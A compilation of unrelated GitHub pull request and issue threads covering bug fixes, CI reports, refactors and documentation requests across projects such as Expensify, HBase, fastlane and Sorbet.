fix crash on profile detail

Details
This line was added here - https://github.com/Expensify/App/pull/12364
and regressed by https://github.com/Expensify/App/pull/12399
Fixed Issues
$ https://github.com/Expensify/App/issues/12487
PROPOSAL: https://github.com/Expensify/App/issues/12487#issuecomment-1304376903
Tests

Login with any account (A)
Create conversation with account B
close account B
Click on account B's avatar from account A
Verify that app doesn't crash and shows B's detail

[x] Verify that no errors appear in the JS console

QA Steps

Login with any account on web app
Open any chat
Switch between chats
Verify that composer view doesn't disappear
Refresh the page
Verify that composer view appears immediately

NOTE: On small screen devices (mobile, mWeb), it's intended behavior to freeze screen (loading skeleton without showing composer) until drawer is fully open. But after that, composer should appear along with skeleton while loading messages.

[ ] Verify that no errors appear in the JS console

PR Review Checklist
PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] iOS / native
[x] Android / native
[x] iOS / Safari
[x] Android / Chrome
[x] MacOS / Chrome
[x] MacOS / Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product was added in all src/languages/* files
[x] I verified any copy / text that was added to the app is correct English and approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG)

[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] I have checked off every checkbox in the PR author checklist, including those that don't apply to this PR.

PR Reviewer Checklist
The reviewer will copy/paste it into a new comment and complete it after the author checklist is completed

[ ] I have verified the author checklist is complete (all boxes are checked off).
[ ] I verified the correct issue is linked in the ### Fixed Issues section above
[ ] I verified testing steps are clear and they cover the changes made in this PR

[ ] I verified the steps for local testing are in the Tests section
[ ] I verified the steps for Staging and/or Production testing are in the QA steps section
[ ] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[ ] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[ ] I checked that screenshots or videos are included for tests on all platforms
[ ] I included screenshots or videos for tests on all platforms
[ ] I verified tests pass on all platforms & I tested again on:

[ ] iOS / native
[ ] Android / native
[ ] iOS / Safari
[ ] Android / Chrome
[ ] MacOS / Chrome
[ ] MacOS / Desktop

[ ] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[ ] I verified proper code patterns were followed (see Reviewing the code)

[ ] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[ ] I verified that comments were added to code that is not self explanatory
[ ] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[ ] I verified any copy / text shown in the product was added in all src/languages/* files
[ ] I verified any copy / text that was added to the app is correct English and approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[ ] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[ ] I verified the JSDocs style guidelines (in STYLE.md) were followed

[ ] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[ ] I verified that this PR follows the guidelines as stated in the Review Guidelines
[ ] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[ ] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[ ] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[ ] If a new component is created I verified that:

[ ] A similar component doesn't exist in the codebase
[ ] All props are defined accurately and each prop has a /** comment above it */
[ ] The file is named correctly
[ ] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[ ] The only data being stored in the state is data necessary for rendering and nothing else
[ ] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[ ] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[ ] All JSX used for rendering exists in the render method
[ ] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[ ] If a new CSS style is added I verified that:

[ ] A similar style doesn't already exist
[ ] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG)

[ ] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[ ] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[ ] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots
Web
https://user-images.githubusercontent.com/97473779/200409110-fda3105f-3298-4749-8ee6-e53878fd24e9.mov
Mobile Web - Chrome
https://user-images.githubusercontent.com/97473779/200408916-f03dbb7b-ea7f-4d5e-8f64-3d4eb0e92daa.mp4
Mobile Web - Safari
https://user-images.githubusercontent.com/97473779/200409056-f3d8febd-69e6-440d-b2c5-6df8281f73d0.mp4
Desktop
https://user-images.githubusercontent.com/97473779/200408698-35982e78-0413-44b2-af2b-31ea35350a03.mov
iOS
https://user-images.githubusercontent.com/97473779/200408863-854dcccc-0baa-48e7-8a9b-e156498ecd68.mp4
Android
https://user-images.githubusercontent.com/97473779/200408653-faa53534-f6c3-410d-8be9-2ff2c7586531.mp4

I tested on staging and found that this crash was happening on opening details for any user as well.

Sounds good, thanks for reviewing @parasharrajat. I'll add a CP staging label to this one so we can get it re-tested there.

Not sure why, but the job was skipped - all other jobs ran successfully. I assume it is a new job and might not be fully implemented yet.

🚀 Cherry-picked to staging by @marcaaron in version: 1.2.24-4 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

@Expensify/applauseleads please QA this PR and check it off on the deploy checklist if it passes.

🚀 Deployed to production by @yuwenmemon in version: 1.2.24-4 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅

🚀 Deployed to production by @yuwenmemon in version: 1.2.24-4 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅

🚀 Deployed to production by @yuwenmemon in version: 1.2.24-4 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/AndrewGable in version: 1.3.28-5 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


_ Patch Compile Tests _

+1 :green_heart:
mvninstall
5m 29s
the patch passed

+1 :green_heart:
compile
1m 13s
the patch passed

+1 :green_heart:
javac
1m 13s
the patch passed

+1 :green_heart:
shadedjars
6m 33s
patch has no errors when building our shaded downstream artifacts.

-0 :warning:
javadoc
0m 41s
hbase-server in the patch failed.

_ Other Tests _

-1 :x:
unit
9m 59s
hbase-server in the patch failed.

41m 32s

Subsystem
Report/Notes

Docker
Client=19.03.12 Server=19.03.12 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-jdk11-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2003

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux fa981d86f653 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / be57e40f36

Default Java
2020-01-14

javadoc
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-jdk11-hadoop3-check/output/branch-javadoc-hbase-server.txt

javadoc
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-jdk11-hadoop3-check/output/patch-javadoc-hbase-server.txt

unit
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-jdk11-hadoop3-check/output/patch-unit-hbase-server.txt

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/testReport/

Max. process+thread count
441 (vs. ulimit of 12500)

modules
C: hbase-server U: hbase-server

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/console

versions
git=2.17.1 maven=(cecedd343002696d0abb50b32b541b8a6ba2883f)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
3m 11s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
5m 17s
master passed

+1 :green_heart:
checkstyle
1m 26s
master passed

+1 :green_heart:
spotbugs
2m 35s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
4m 45s
the patch passed

-0 :warning:
checkstyle
1m 20s
hbase-server: The patch generated 3 new + 191 unchanged - 1 fixed = 194 total (was 192)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
hadoopcheck
14m 56s
Patch does not cause any errors with Hadoop 3.1.2 3.2.1.

+1 :green_heart:
spotbugs
2m 42s
the patch passed

_ Other Tests _

+1 :green_heart:
asflicense
0m 18s
The patch does not generate ASF License warnings.

45m 38s

Subsystem
Report/Notes

Docker
Client=19.03.9 Server=19.03.9 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2003

Optional Tests
dupname asflicense spotbugs hadoopcheck hbaseanti checkstyle

uname
Linux 6feb1b7ff6ea 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / be57e40f36

checkstyle
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-general-check/output/diff-checkstyle-hbase-server.txt

Max. process+thread count
84 (vs. ulimit of 12500)

modules
C: hbase-server U: hbase-server

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/console

versions
git=2.17.1 maven=(cecedd343002696d0abb50b32b541b8a6ba2883f) spotbugs=3.1.12

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

TestHeapSize is broken with master branch.
INFO] -------------------------------------------------------
[INFO]  T E S T S
[INFO] -------------------------------------------------------
[INFO] Running org.apache.hadoop.hbase.io.TestHeapSize
[ERROR] Tests run: 6, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 1.884 s <<< FAILURE! - in org.apache.hadoop.hbase.io.TestHeapSize
[ERROR] org.apache.hadoop.hbase.io.TestHeapSize.testSizes  Time elapsed: 0.308 s  <<< FAILURE!
java.lang.AssertionError: expected:<368> but was:<360>
	at org.apache.hadoop.hbase.io.TestHeapSize.testSizes(TestHeapSize.java:493)

[INFO]
[INFO] Results:

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m 30s
Docker mode activated.

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
4m 14s
the patch passed

+1 :green_heart:
compile
1m  6s
the patch passed

+1 :green_heart:
javac
1m  6s
the patch passed

+1 :green_heart:
shadedjars
5m 52s
patch has no errors when building our shaded downstream artifacts.

-0 :warning:
javadoc
0m 40s
hbase-server in the patch failed.

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
4m 21s
the patch passed

+1 :green_heart:
compile
1m  6s
the patch passed

+1 :green_heart:
javac
1m  6s
the patch passed

+1 :green_heart:
shadedjars
6m 11s
patch has no errors when building our shaded downstream artifacts.

-0 :warning:
javadoc
0m 43s
hbase-server in the patch failed.

_ Other Tests _

+1 :green_heart:
unit
132m 38s
hbase-server in the patch passed.

159m 52s

Subsystem
Report/Notes

Docker
Client=19.03.12 Server=19.03.12 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-jdk11-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2003

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux ae83f5a00887 4.15.0-60-generic #67-Ubuntu SMP Thu Aug 22 16:55:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 3bd54217a0

Default Java
2020-01-14

javadoc
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-jdk11-hadoop3-check/output/branch-javadoc-hbase-server.txt

javadoc
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/artifact/yetus-jdk11-hadoop3-check/output/patch-javadoc-hbase-server.txt

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/testReport/

Max. process+thread count
4289 (vs. ulimit of 12500)

modules
C: hbase-server U: hbase-server

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/console

versions
git=2.17.1 maven=(cecedd343002696d0abb50b32b541b8a6ba2883f)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m  0s
Docker mode activated.

-1 :x:
patch
0m  3s
https://github.com/apache/hbase/pull/2003 does not apply to master. Rebase required? Wrong Branch? See https://yetus.apache.org/documentation/in-progress/precommit-patchnames for help.

Subsystem
Report/Notes

GITHUB PR
https://github.com/apache/hbase/pull/2003

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/console

versions
git=2.17.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m  0s
Docker mode activated.

-1 :x:
patch
0m  3s
https://github.com/apache/hbase/pull/2003 does not apply to master. Rebase required? Wrong Branch? See https://yetus.apache.org/documentation/in-progress/precommit-patchnames for help.

Subsystem
Report/Notes

GITHUB PR
https://github.com/apache/hbase/pull/2003

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/console

versions
git=2.17.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m  0s
Docker mode activated.

-1 :x:
patch
0m  3s
https://github.com/apache/hbase/pull/2003 does not apply to master. Rebase required? Wrong Branch? See https://yetus.apache.org/documentation/in-progress/precommit-patchnames for help.

Subsystem
Report/Notes

GITHUB PR
https://github.com/apache/hbase/pull/2003

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2003/1/console

versions
git=2.17.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

@huaxiangsun You want to refresh this PR or is it stale now?


Use the platform for all image related operations

Description
In https://github.com/Dynatrace/dynatrace-operator/commit/eab775d9c20655fa23194cf47e32c01a49bfb578, I started to use the platform for the image pull, but then I realised that we have other calls where we can pass the platform.
How can this be tested?
Same as https://github.com/Dynatrace/dynatrace-operator/pull/2755
Checklist

[ ] Unit tests have been updated/added
[x] PR is labeled accordingly with a single label
[x] I have read and understood the contribution guidelines

Codecov Report
Attention: 7 lines in your changes are missing coverage. Please review.

Comparison is base (eab775d) 67.89% compared to head (abca148) 67.87%.

Files
Patch %
Lines

pkg/oci/registry/client.go
0.00%
7 Missing :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@               Coverage Diff               @@
##           release-1.0    #2759      +/-   ##
===============================================
- Coverage        67.89%   67.87%   -0.03%
===============================================
  Files              250      250
  Lines            13657    13666       +9
===============================================
+ Hits              9273     9276       +3
- Misses            3576     3582       +6
  Partials           808      808

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[ci] increase the max number of files available

Increase the amount of files available on mac by default.
This is in handy when running tests that involve stress testing a bit the system (such as #21792)
Checklist

[x] I've run bundle exec rspec from the root directory to see all new and existing tests pass
[x] I've followed the fastlane code style and run bundle exec rubocop -a to ensure the code style is valid
[x] I see several green ci/circleci builds in the "All checks have passed" section of my PR (connect CircleCI to GitHub if not)
[x] I've read the Contribution Guidelines
[x] I've updated the documentation if necessary.
[x] I've added or updated relevant unit tests.

Motivation and Context

Description

Testing Steps

not really sure why appveyor failed here. Another flaky test?

Force pushed to see if appveyor fails building again.

if that's the reasons those tests are flaky, this is a bit scary 😅

@AliSoftware no, that's not the reason. By default we don't need that many files.
The command executor flaky test fails regularly.  But to reproduce the failure more consistently, I am running the same tests thousands of times, and this fails early if we don't increase the file limit.
I thought we'd better increase it right away so that we can run heavy stress testing workloads whenever we feel like.
The only drawback I can see is that if we enable it by default on the project, we wouldn't detect an internal issue in fastlane that would cause too many files to be opened during our tests. Is that an issue? That's a bit unlikely.


change homepage URL for live777, whepfrom, whipinto

The packages live777 (PR #12602), whepfrom (PR #12607) and whipinto (PR #12614) all currently refer to https://live777.binbat.com/ as their package homepage. However, this website does not provide any information about what these packages are or how they are used (https://binbat.com also doesn't have any helpful info on that). The download links however mention a GitHub Repository which (supposedly) hosts the source code for all three packages. It also contains a README which provides a rather detailed description of what live777 is. That is why I think this github repo should instead be referred to as the packages' homepage.
Additional note: The packages live777 and whepfrom both declare live777.exe as their binary name. I do not know what the intention behind this is, but this should probably be looked into as well.
Relates to #12602, #12607, #12614

[x] I have read the Contributing Guide.

Looks great to me👍


tvtv.us gives 429 (rate limit) errors after a while

Description
Need to slow down or honor the tvtv.us rate limits.  The npm run grab command causes tvtv.us to give 429 errors when pulling the data.

FYI, I'm getting error 429 with the default delay of 500. Using 1500 seemed to work.


Refactor search store

Break up the search store mutations and action handlers.
 We should break those up into individual stores and think about improving the loading of images actions and mutations

can i take this up? @brenoferreira

Go ahead :)
On Fri, Feb 21, 2020 at 9:12 AM Aman Kumar<EMAIL_ADDRESS>wrote:

can i take this up? @brenoferreira https://github.com/brenoferreira
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/creativecommons/cccatalog-frontend/issues/483?email_source=notifications&email_token=AAFMTSYSSBFG6334DPVX3CDRD7AJNA5CNFSM4IVKRYLKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEMSQGFQ#issuecomment-589628182,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAFMTSYEOOH4TL7W37LSSLLRD7AJNANCNFSM4IVKRYLA
.

--
Thank you
Breno Ferreira
Front-end Engineer
Creative Commons

i am working for this issue @annatuma

can we use redux.js library in this? @annatuma @brenoferreira @akmadian

can you bit explain this issue and what do you mean by think about improving the loading of images actions and mutations? @brenoferreira

@Amankumar29 This been on hold since Feb are you still working on it ? if you're not so that i can pick it up.

Related images have been extracted from the search store into their own in #1003

I am going to close this now, as the only functionality left in this store is searches and image details which are fairly tightly coupled. If we are to do a bigger refactor of our loading in the future, let's do it on the basic of bugs/user-facing issues.


Get rid of printf guarding with SYCL

Related to kokkos/kokkos#4634
When we will upgrade the our requirements/CI base image, we should be able to get rid of our guarding printf statements in device code in examples/ such as
https://github.com/arborx/ArborX/blob/a1b1a0000c641326910205975538657674f947ae/examples/callback/example_callback.cpp#L60-L62
This is to remind us to fix.

What is the "recent" version of the SYCL compiler? I did not see it in the linked issue.

Kokkos is now using the latest release ~December but 20210903 is also fine. We just need to see what the deprecation warnings in the compiler look like.


Finish orchestration implementation in KEB

Description
Changes proposed in this pull request:

Finished orchestration implementation in KEB - glue code to finish upgrade story

Precisely:

moved orchestration model to internal package due to import loops
implemented handlers for GET and POST kyma upgrade
implemented Strategies (InstantStrategy supported for now)
implemented KymaOrchestrationManager
left TODOs describing how to connect orchestrations with upgrade steps

Related issue(s)

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker

/retest

/retest

/retest

/test pre-control-plane-components-kyma-environment-broker

/meow

/test pre-control-plane-components-kyma-environment-broker

/retest

/retest

/test pre-control-plane-components-kyma-environment-broker

/retest

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker

/test pre-control-plane-components-kyma-environment-broker


sqlite install creates empty database

julia> using Retriever
julia> Retriever.install_sqlite("mammal-masses")
unknown database mammal_masses
Replacing existing table
Installing mammal_masses.MammalMasses:   0%|   | 0/5731 [00:00<?, ?rows/s]INSERT INTO mammal_masses.MammalMasses ( continent, status, sporder, family, genus, species, log_mass_g, comb_mass_g, reference ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
no such table: mammal_masses.MammalMasses
Installing mammal_masses.MammalMasses:  17%|██████████████████████▏   | 999/5731 [00:00<00:00, 23580.74rows/s]
PyObject <retriever.engines.sqlite.engine object at 0x7feb6b1051d0>

results in an sqlite.db file in the working directory that has size 0.
Works properly from Python and CLI.

That is weird. I will test it and see why it is failing.


Blocking on Async Code causing Synchronization Context Issues in ASP.NET

We have hit the issue described here, running under ASP.NET: http://blog.stephencleary.com/2012/07/dont-block-on-async-code.html We await on async code in a number of places related to the MessageStore. As described, it turns out that mixing async and non-async code screws up badly and the app pool crashes as the context thread is blocked when the task completes.
The long term fix is to correctly write a full *Async pipeline.
The short term fix is to move this code to sync, as it was blocking anyway.

Burnt async with fire


Question about the requirements.txt?

Hi, thank you for letting me know. I've removed the requirements.txt file by mistake. I have added ita gain.


3697 raw16 monochrome set but images saved as 8 bit rgb

Alex,  the other 9 files in the PR were already changed in v2024.xx.xx.   Did you use a prior version when making your changes?


Change URL for repeating an order

Hmm why did the CI fail the update order test? It is good on my laptop


Add more detail to readme

Add more detail into how the package operates. E.g see #499

I second to this, I'm kinda wondering what's the difference between
"Upload Selected" and "Sync Remote > Local"

We need more documentation, yes.
If anyone could help it would be nice.
Just submit a PR :)
Linking to #7


feat: started dasboard page dvt60/dashboards-page

SUMMARY
Dashboard page has been created.
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF

TESTING INSTRUCTIONS

ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Required feature flags:
[x] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[ ] Introduces new feature or API
[ ] Removes existing feature or API

navbar altındaki gözükmemeli, dvt-navbar düzeltebilirsin figmadaki aynı olmalı


Add dependencies needed for JWT authorization middleware

For verifying and decoding JWTs

@edwinm That seems odd, not sure why that library wouldn't work with our tokens? Should be the same across the board... anyway I've swapped it out for jose now, which works fine.


Analyze Repo in Sonartype Lift

@celanthe

Thanks so much for opening this issue @Zelldon! I've got the analysis running on main and also ran one on release-1.0.0 I will let you know ASAP once I have those results for you!

Awesome thanks @celanthe

@Zelldon I sent you a message on Slack, I've got those results available for you! :)


custom type for all characters

I have a list of inputs and some of these inputs need to work as normal input and accept all kind of characters and some of them don't. So I need something like this :
 <TextInputMask             type="custom"            options ={mask:'all character'}           />

Hi,
Please, read the documentation HERE.
You can pass custom translator to custom mask.

How i can write mask with text lenght with 255 characters?


Feature: Attempt to make SSO app compatible with Microsoft's SSO snapin

Attempt to make Deployment Framework SSO apps compatible with Microsoft's SSO snapin.
This work item was migrated from CodePlex
CodePlex work item ID: '10068'
Vote count: '2'

[tfabraham@2/18/2014]
The Microsoft SSO snapin stores each config setting as a separate field within the SSO app.  This makes sense with the GUI, but is a bit trickier for the Deployment Framework.  The Framework's source for the settings is generally a settings spreadsheet, which can be edited at any time to add, remove or change settings.  SSO requires that all fields be defined before use, so each setting in the spreadsheet would have to be added to SSO as a field.  This creates a synchronization headache, because each import would have to examine which fields are currently in SSO, compare to the incoming set from the spreadsheet, then add, remove or modify fields in SSO as needed.
There is not sufficient benefit to justify the development and testing effort, particularly since the Deployment Framework already provides an SSO GUI editor on the BizTalk servers.

[UnknownUser@2/18/2014]

Issue closed by tfabraham with comment
Too much effort for no compelling benefit
Reason closed
Declined


no goals_2D(evaluation of DenseTNT)

Hello,
It's me again. We have just completed the training of your HiVT model and successfully achieved the results. We are now working on the training of DenseTNT. Could you please confirm if you are still using the files generated by adaptor.py from the Nuscenes dataset (the same as for HiVT)? Additionally, why does your train_and_eval.sh script include 'goals_2D' in the other_params? Shouldn't this be a parameter for the Argoverse dataset? It seems that training with this setup may not allow for proper evaluation in the end.

Thank you so much for your work and confirmation!! In terms of DenseTNT training, yes we are still using the same files as in HiVT. In terms of specific training, I might need to consult with my collaborator and let you know later.

Hello, It's me again. We have just completed the training of your HiVT model and successfully achieved the results. We are now working on the training of DenseTNT. Could you please confirm if you are still using the files generated by adaptor.py from the Nuscenes dataset (the same as for HiVT)? Additionally, why does your train_and_eval.sh script include 'goals_2D' in the other_params? Shouldn't this be a parameter for the Argoverse dataset? It seems that training with this setup may not allow for proper evaluation in the end.

Hi Guantian, thank you for the comment. "goals_2D" refers to the goal-based strategy densetnt utilizes to predict the trajectories. DenseTNT estimates the goals (end positions) of agents' future trajectory and then generates the complete trajectory based on the goals. There do be some redundant arguments in the script but none of them should affect anything. I will also clean it up a little bit shortly.


Improve Sorbet runtime caller frame matching logic

Currently Sorbet runtime matches caller locations against what it assumes are Sorbet runtime source file locations by using a regular expression. The regular expression expects the Sorbet runtime lib folder to be directly placed in a folder whose name includes the string "sorbet-runtime". This kind of matching usually works but is prone to breakage if there are other gems that have the string "sorbet-runtime" in their folder names, or if the lib folder is placed in a folder that is named differently.
This PR improves the matching logic by storing the full path to the lib folder in a constant, and then filtering caller location paths that start with that path.
In order to get the full path to the lib folder, we rely on the const source location of the T::Private module, which is almost always guaranteed to be defined in lib/sorbet_runtime.rb. The File.dirname of that string gives us the full path to the lib folder for the running Sorbet runtime gem.
Motivation

Fixes #6650
Test plan

Existing tests pass.

As a small note, a much simpler and slightly more reliable way would be to just define a constant in lib/sorbet_runtime.rb which contains the value of __dir__ in that file.
FWIW I found this via https://github.com/oracle/truffleruby/issues/2833.

@eregon Indeed that's one of the alternatives I'd considered and decided against. Before sending the current PR, I'd considered:

Adding a constant under T::Private inside lib/sorbet_runtime.rb and using that, as you suggested above.
Adding a constant under T::Private::Methods and using File.expand_path("../../..", __dir__) to define it.
The current approach.

and my decision criteria was the following:

This needlessly pollutes the namespace T::Private for something that will only be used inside T::Private::Methods. Moreover it separates the definition of the constant from the use-site which I thought wasn't great.
This one is brittle and depends on the file the constant is defined in to never move, which I find highly problematic.
